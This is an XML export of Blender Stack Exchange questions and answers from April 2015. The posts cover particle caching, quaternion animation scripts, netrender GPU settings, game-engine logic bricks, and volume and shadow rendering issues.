  <row Id="28473" PostTypeId="1" AcceptedAnswerId="28477" CreationDate="2015-04-14T18:11:20.997" Score="7" ViewCount="442" Body="&lt;p&gt;I'm working with particles (for grass or leaves).&#xA;The problem is the blend file is very huge when it contains a lot of particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to stop blender storing particle data to make the file smaller?&lt;/p&gt;&#xA;" OwnerUserId="13772" LastEditorUserId="241" LastEditDate="2015-04-14T18:33:21.887" LastActivityDate="2017-11-02T18:49:32.487" Title="How to avoid particle data being stored in blend file to make it smaller?" Tags="&lt;particles&gt;&lt;blend-files&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28474" PostTypeId="2" ParentId="28438" CreationDate="2015-04-14T19:16:56.590" Score="4" Body="&lt;p&gt;After doing a little more research I think I have found a technique that will work.  Examining the matrices that are computed from the quaternion led me to conclude that q and -q both represent the same orientation, so I compare both q and -q to the previous quaternion orientation and pick whichever one is closest in 4-space.  The following udpated code sample illustrates the technique: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import *&#xA;from mathutils import *&#xA;&#xA;def mission(obj):&#xA;    res = 36&#xA;    qs = QuaternionStabilizer()&#xA;    for z in range(res):&#xA;        theta = 2*pi *z / res&#xA;        mat = Matrix( [ [ cos(theta), sin(theta), 0],&#xA;                        [ -sin(theta), cos(theta), 0],&#xA;                        [ 0,0,1]]).to_4x4()&#xA;        (loc,quat,scale) = mat.decompose()&#xA;&#xA;        obj.rotation_quaternion = qs.stabilize(quat)&#xA;        for ai in range(len(quat)):&#xA;            obj.keyframe_insert(frame=z*5, data_path=&quot;rotation_quaternion&quot;, index=ai)&#xA;&#xA;&#xA;class QuaternionStabilizer:&#xA;    def __init__(self):&#xA;        self.old=None&#xA;&#xA;    def stabilize(self, q):&#xA;        if self.old is None:&#xA;            rval = q&#xA;        else:&#xA;            d1 = (self.old-q).magnitude&#xA;            d2 = (self.old+q).magnitude&#xA;            if (d1&amp;lt;d2):&#xA;                rval = q&#xA;            else:&#xA;                rval = -q&#xA;        self.old = rval&#xA;        return rval&#xA;&#xA;mission(bpy.context.active_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now my fcurves don't look discontinuous:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c0aEa.png&quot; alt=&quot;quaternion fcurves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will not give good results if your orientations are flailing about wildly, but that's a case of Garbage In Garbage Out.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-14T19:16:56.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28475" PostTypeId="1" AcceptedAnswerId="28500" CreationDate="2015-04-14T19:31:14.480" Score="6" ViewCount="18008" Body="&lt;p&gt;The pose my model is in is not good at all, so I wanted to have some pose, which I can easily start animating from, but when I made this pose and clicked aply pose as rest pose, only the armature changed, without deforming the model itself and when positioning it's useless. So I wanted to ask, wheather I can somehow aply position as rest pose, so that in pose mode the model is deformed, or at least save the pose.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2015-04-15T08:07:25.217" Title="how to save pose" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28476" PostTypeId="2" ParentId="28473" CreationDate="2015-04-14T19:52:08.777" Score="4" Body="&lt;p&gt;In your particle system tab there is a minimized subsection called Cache.  If you open that up and check the Disk Cache checkbox and Bake, that will cause your particle data to be stashed in a directory called blendcache_&lt;em&gt;something&lt;/em&gt;/ and not in your .blend file.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-14T19:52:08.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28477" PostTypeId="2" ParentId="28473" CreationDate="2015-04-14T19:55:01.123" Score="4" Body="&lt;p&gt;One very simple way to do this is to write all the values for your particle systems that tell how many particles are to be rendered, and then to change that value to a much smaller one for storing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a &lt;em&gt;Text Editor&lt;/em&gt; region and type the particle system name and numbers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x3UkN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now change back to these values when you want to use this file again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saved massive amounts of space. The original not reduced version was &lt;strong&gt;15MB&lt;/strong&gt;, while the reduced version was &lt;strong&gt;550KB&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this works, it can be quite tedious, and is still just a work around. MutantBob's answer might be more along the lines of what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-14T19:55:01.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28478" PostTypeId="1" CreationDate="2015-04-14T19:59:01.560" Score="1" ViewCount="1326" Body="&lt;p&gt;I want to align an object to an edge via Python.&lt;br&gt;&#xA;I have an edge in the 3D space, the edge has a rotation, euler or quaternion, like a 3d object, but this edge is part of an object.&#xA;I want to copy the rotation of the edge to a external object (like a cylinder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seams like what I want, but the result doesn't work.&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/19533/align-object-to-vector-using-python&quot;&gt;Align Object to Vector using python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6052" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-04-17T12:23:47.463" Title="Python script to align object to edge or two vertex coordinates" Tags="&lt;python&gt;&lt;objects&gt;&lt;transforms&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28479" PostTypeId="2" ParentId="28438" CreationDate="2015-04-14T20:02:43.257" Score="2" Body="&lt;p&gt;I fiddled around with the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/mathutils.html?highlight=mathutils.quaternion#mathutils.Quaternion&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quaternion(axis, angle) constructor&lt;/a&gt; and  &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/mathutils.html?highlight=mathutils.quaternion#mathutils.Quaternion.slerp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quaternion.slerp&lt;/a&gt; but both gave non-continous results as well. &#xA;(Quaternion.slerp worked using a third value inbetween though)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you might use the formula given on this &lt;a href=&quot;https://en.wikipedia.org/wiki/Quaternions_and_spatial_rotation#Using_quaternion_rotations&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cos(θ / 2) + sin(θ / 2) * &#xA;  (u&lt;sub&gt;x&lt;/sub&gt; * i + &#xA;   u&lt;sub&gt;y&lt;/sub&gt; * j +&#xA;   u&lt;sub&gt;z&lt;/sub&gt; * k)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where θ is the rotation angle and u = (u&lt;sub&gt;x&lt;/sub&gt;, u&lt;sub&gt;y&lt;/sub&gt;, u&lt;sub&gt;z&lt;/sub&gt;) the unit vector for the rotation axis.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;from mathutils import Quaternion&#xA;&#xA;obj = bpy.context.active_object&#xA;action = obj.animation_data.action&#xA;&#xA;def from_axis_angle(axis, angle):&#xA;    half_angle = angle / 2.0&#xA;    scalar = math.cos(half_angle)&#xA;    factor = math.sin(half_angle)&#xA;&#xA;    return Quaternion((&#xA;        scalar,&#xA;        axis[0] * factor,&#xA;        axis[1] * factor,&#xA;        axis[2] * factor&#xA;    ))&#xA;&#xA;def set_rot_kf(frame, quat, action):&#xA;    for fcu in action.fcurves:&#xA;        if fcu.data_path == &quot;rotation_quaternion&quot;:&#xA;            index = fcu.array_index&#xA;            fcu.keyframe_points.insert(frame, quat[index])&#xA;&#xA;axis = (0.0, 0.0, 1.0)&#xA;angle = 2.0 * math.pi&#xA;&#xA;frame_start = 0&#xA;frame_end = 60&#xA;dt = frame_end - frame_start&#xA;frac = 1 / dt&#xA;&#xA;for frame in range(dt + 1): &#xA;    quat = from_axis_angle(axis, frame * frac * angle)&#xA;    set_rot_kf(frame_start + frame, quat, action)&#xA;&#xA;    #or&#xA;    #quat *= dq &#xA;    #where&#xA;    #dq = from_axis_angle(axis, frac * angle)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result looked like this, where you can see the graphs of cos(θ / 2) and sin(θ / 2) from 0 to 2π:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tsutH.png&quot; alt=&quot;graph&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-04-15T19:08:35.543" LastActivityDate="2015-04-15T19:08:35.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28480" PostTypeId="1" CreationDate="2015-04-14T20:28:25.323" Score="7" ViewCount="4697" Body="&lt;p&gt;I have a server with an Nvidia GPU card and I want to render my images using Cycles on it. I set up Master and Slave instances on the server and a Client instance on my laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering works, but the server renders the net tasks on CPU, instead of GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just run Cycles render locally on the server - GPU works.&#xA;If I run a client on the server itself and &lt;strong&gt;before&lt;/strong&gt; switching to the netrender choose &quot;GPU Compute&quot; in the render properties - GPU works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot select &quot;GPU Compute&quot; on my laptop, because there is no Nvidia GPU card on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I force the netrender to use GPU instead? Also, is it possible to use different tile sizes for the local render and the netrender, as switching them from preview to final render is too tedious every time. &lt;/p&gt;&#xA;" OwnerUserId="13773" LastEditorUserId="13773" LastEditDate="2015-04-14T20:51:22.087" LastActivityDate="2020-03-26T10:22:55.600" Title="How do I force the netrender to render everything on GPU?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;network&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28481" PostTypeId="2" ParentId="28310" CreationDate="2015-04-14T21:06:12.693" Score="1" Body="&lt;p&gt;You might be able to filter on node.select for your application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = bpy.data.materials['checker']&#xA;nodes = [ n for n in mat.node_tree.nodes if n.select ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although, I'm not entirely sure how that works with node groups (where you have a compound node selected and tab into it and select other nodes).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-04-15T19:39:40.047" LastActivityDate="2015-04-15T19:39:40.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28482" PostTypeId="1" AcceptedAnswerId="28485" CreationDate="2015-04-14T22:49:43.280" Score="1" ViewCount="287" Body="&lt;p&gt;I have two properties, for time's sake, I'll call them x and y. I want to know what x - y is in another property, lets say z. Is there a way where I can have a property always displaying two properties subtracted from each other? I need this as, in my FPS, when a player reloads, but still has lets say 4 bullets out of 30, I need 4 to be subtracted from 30, so when you reload you get 26. How can I do this (logic bricks are fine if possible)?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-04-14T23:12:23.240" Title="Subtract properties?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28483" PostTypeId="2" ParentId="28450" CreationDate="2015-04-14T22:52:28.403" Score="4" Body="&lt;p&gt;Not by dragging directly form the OS (at least in Windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can import several video files simultaneously by selecting them on the file browser window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to add a video track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the file browser window use &lt;kbd&gt;Shift&lt;/kbd&gt; to select more than one file manually&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;A&lt;/kbd&gt; to select all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;B&lt;/kbd&gt; to drag-select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the selected files will be imported sequencially on a single time line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gWe6q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-14T22:52:28.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28484" PostTypeId="2" ParentId="28468" CreationDate="2015-04-14T22:59:14.267" Score="4" Body="&lt;p&gt;It looks like you may have enabled the 'Use Simplify' option found in the 'Scene' tab of the 'Properties' area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XW6QO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option works as a 'cap' on the number of subdivisions that objects in the scene can have if the simplify subdivision level is set lower than the subdivision level on your objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a simplify subdivison level of '2' will mean that no subsurf modifiers will be able to subdivide objects higher than level 2. Setting it to zero would effectively turn all subdivisions off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be useful when you have a very dense scene, with many subsurf modifiers and want to render it quickly as a test. &lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-04-14T22:59:14.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28485" PostTypeId="2" ParentId="28482" CreationDate="2015-04-14T23:01:15.920" Score="3" Body="&lt;p&gt;It actually is possible to subtract a value of one property from another.&#xA;by using this logic setup on your gun, it will subtract from total ammo the amount of ammo needed to fill the current clip. In this case the clip can hold 30&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HQvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the result here if you enable the debug properties. Press space to use ammo in clip, press R to reload the ammo in clip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsnpW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-14T23:12:23.240" LastActivityDate="2015-04-14T23:12:23.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28486" PostTypeId="1" CreationDate="2015-04-14T23:23:27.160" Score="1" ViewCount="574" Body="&lt;p&gt;I have a text (that displays ammo), which looks rather sloppy when it [text] is close to the camera. How would I convert this to a mesh that will still function as a text? I know I can convert it with Alt+C, but it stops functioning as a text object. I saw some videos, and it looks like I will have to use the UV editor with each number separate. How can I have a text display as a mesh, but still keep its function as a text object? &lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="6204" LastEditDate="2015-04-15T17:49:59.473" LastActivityDate="2015-04-15T17:49:59.473" Title="Can I display text object like a mesh?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28487" PostTypeId="1" AcceptedAnswerId="28488" CreationDate="2015-04-14T23:29:39.703" Score="2" ViewCount="285" Body="&lt;p&gt;I have some texts, objects, and other items that give a bad effect when you look at them from a long-ranged distance. They look sharp all over the edges. I notice other games and projects have something in the options menu where you can &quot;smooth out sharp edges.&quot; This makes the sharp edges more smooth and appealing to the eye rather than sharp and 'ugly.' How can I smooth out sharp edges in the GE; also, if you can, would it work with a property (boolean) where, when set to true, the edges are smooth, but edges are sharp when false (like usual)? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-04-14T23:59:35.467" Title="Smooth out sharp edges in GE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28488" PostTypeId="2" ParentId="28487" CreationDate="2015-04-14T23:39:42.533" Score="2" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn up the number of AA samples in &lt;em&gt;Properties &gt; Render settings&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nab3Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this may affect performance. Also note that this setting only seems to take effect in the standalone player. Otherwise the &lt;em&gt;multisample&lt;/em&gt; setting in the &lt;em&gt;user preferences&lt;/em&gt; is used.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-04-14T23:59:35.467" LastActivityDate="2015-04-14T23:59:35.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28489" PostTypeId="1" AcceptedAnswerId="28495" CreationDate="2015-04-14T23:47:10.857" Score="5" ViewCount="149" Body="&lt;p&gt;I would like to light the center of a cylinder volume with a gradient light White -&gt; Red -&gt; Blue radially from the center to the border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the cylinder normally and applied a volume material: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wA0YZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wA0YZ.png&quot; alt=&quot;cylinder with volume material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I created the light as a point and applied a &lt;strong&gt;blend texture&lt;/strong&gt; like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U3Mwp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U3Mwp.png&quot; alt=&quot;light with texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't get the expected result (the center should be red then white) : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SIIC1.png&quot; alt=&quot;resulting render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.youtube.com/watch?v=8aVOQw-BIf0&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; where I have seen this method is tagged as &lt;strong&gt;outdated&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you think it's the reason for why it doesn't work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do you know how to make a colored gradient lighting of a volume ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm using blender 2.72&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13523" LastEditorUserId="2217" LastEditDate="2015-04-15T03:48:17.777" LastActivityDate="2015-04-15T04:43:19.847" Title="Lighting a volume with a bi-color point light" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28490" PostTypeId="2" ParentId="28486" CreationDate="2015-04-14T23:58:29.810" Score="5" Body="&lt;p&gt;You can do this with the special text property only found in text objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gqG62.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I am using Always ➨ And ➨ Property&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The property actuator copies another property from a different object.&#xA;I am using the cube from &lt;a href=&quot;https://blender.stackexchange.com/a/28485/5426&quot;&gt;this question&lt;/a&gt; to change the properties so you can see it updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two text objects, neither one of them have been transformed into a mesh. they both retain there edibility as a text object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, the text is white. see &lt;a href=&quot;https://blender.stackexchange.com/a/14340/5426&quot;&gt;this question&lt;/a&gt; to change the text color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FsO8i.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-04-15T03:32:35.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28491" PostTypeId="1" AcceptedAnswerId="28499" CreationDate="2015-04-15T01:11:16.147" Score="8" ViewCount="1543" Body="&lt;p&gt;I am compositing a scene using a standard process in Cycles, and it worked correctly as long as I had my lighting setup in the scene, however when I switched to HDR, my &lt;em&gt;Shadow&lt;/em&gt; pass seems to become a solid black. Why is this, and how can it be avoided?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dYHK4.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2017-08-28T07:32:00.690" Title="Does an HDR environment texture affect the Shadow pass?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;compositor&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28492" PostTypeId="2" ParentId="27969" CreationDate="2015-04-15T01:21:46.077" Score="1" Body="&lt;p&gt;&lt;strong&gt;There is no way built into Blender to do this, the best you can do is change the font size.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for scripts, I don't see why it could not be done, but I would need a much better understanding of both Python and the Blender source code to give a definite answer, or write a script. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-15T01:21:46.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28493" PostTypeId="2" ParentId="23836" CreationDate="2015-04-15T01:30:38.367" Score="1" Body="&lt;p&gt;&lt;strong&gt;Sadly, this appears to be impossible*.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;*Blender is open source, &lt;strong&gt;you&lt;/strong&gt; could always add the feature ;D (I mean isn't that the whole point of open source)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-04-15T01:30:38.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28494" PostTypeId="1" CreationDate="2015-04-15T03:37:27.073" Score="1" ViewCount="39" Body="&lt;p&gt;I noticed that when a single runtime executable is saved from the BGE, the file has the default blender logo.  Is there anyway to change this to the logo of my game?  I looked at this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/7105/change-the-window-icon-on-an-executable&quot;&gt;Change the window icon on an executable&lt;/a&gt; but the answer wasn't very helpful for me.  If somebody could explain how to do this is a lot of detail, that would be great!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-04-15T03:37:27.073" Title="Executable Icon" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-15T14:08:56.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="28495" PostTypeId="2" ParentId="28489" CreationDate="2015-04-15T04:43:19.847" Score="3" Body="&lt;p&gt;I think your problem is with the scale of the mapping for the texture.&#xA;I made a test using an empty to control the mapping. Changing the scale of the empty or the size on the Mapping controls did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uTRFd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-15T04:43:19.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28496" PostTypeId="1" AcceptedAnswerId="28498" CreationDate="2015-04-15T04:56:00.077" Score="6" ViewCount="1233" Body="&lt;p&gt;I am following Andrew price's video on making clouds but my clouds are rendering with black spots on them. I have tried turning up the maximum transparency value under light paths but there is no difference between 50 and 200.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccMKb.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What could be causing this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/181/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=181&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-15T07:12:34.697" Title="Volume scatter shader causes black spots" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;shaders&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28497" PostTypeId="1" CreationDate="2015-04-15T06:04:19.310" Score="2" ViewCount="1015" Body="&lt;p&gt;I need to write a script, which makes sure, that the tip of my armature never gets under the ground, which will be a flat plane. how would i access the global position of the posebones tail?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JeCb2.png&quot; alt=&quot;The bones tail must not be under the ground&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2020-12-03T22:39:20.270" Title="How to get a posebones global tail position" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28498" PostTypeId="2" ParentId="28496" CreationDate="2015-04-15T06:52:44.327" Score="6" Body="&lt;p&gt;These are caused by self-intersecting bits of the cloud particles showing the backsides of faces to the outside world:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5mjeF.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Rays going through the back of a face don't count as going into the volume, and so appear mostly transparent.&lt;/p&gt;&#xA;&lt;p&gt;To fix this you have a couple options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Lighten up on the displacement to avoid such intersections:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JMXfe.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or add a remesh modifier (and optionally a decimate modifier to keep the vertex count down)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ABnUx.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-15T06:52:44.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28499" PostTypeId="2" ParentId="28491" CreationDate="2015-04-15T07:08:09.043" Score="9" Body="&lt;p&gt;The HDR environment does not affect the shadow pass. At all. The problem originated with the removal of the lighting setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the shadow pass only supports lamps. Mesh lights and world lighting will not affect it. See &lt;a href=&quot;https://blender.stackexchange.com/q/5416/599&quot;&gt;Why does the shadow pass not account for mesh lights?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-04-15T07:08:09.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
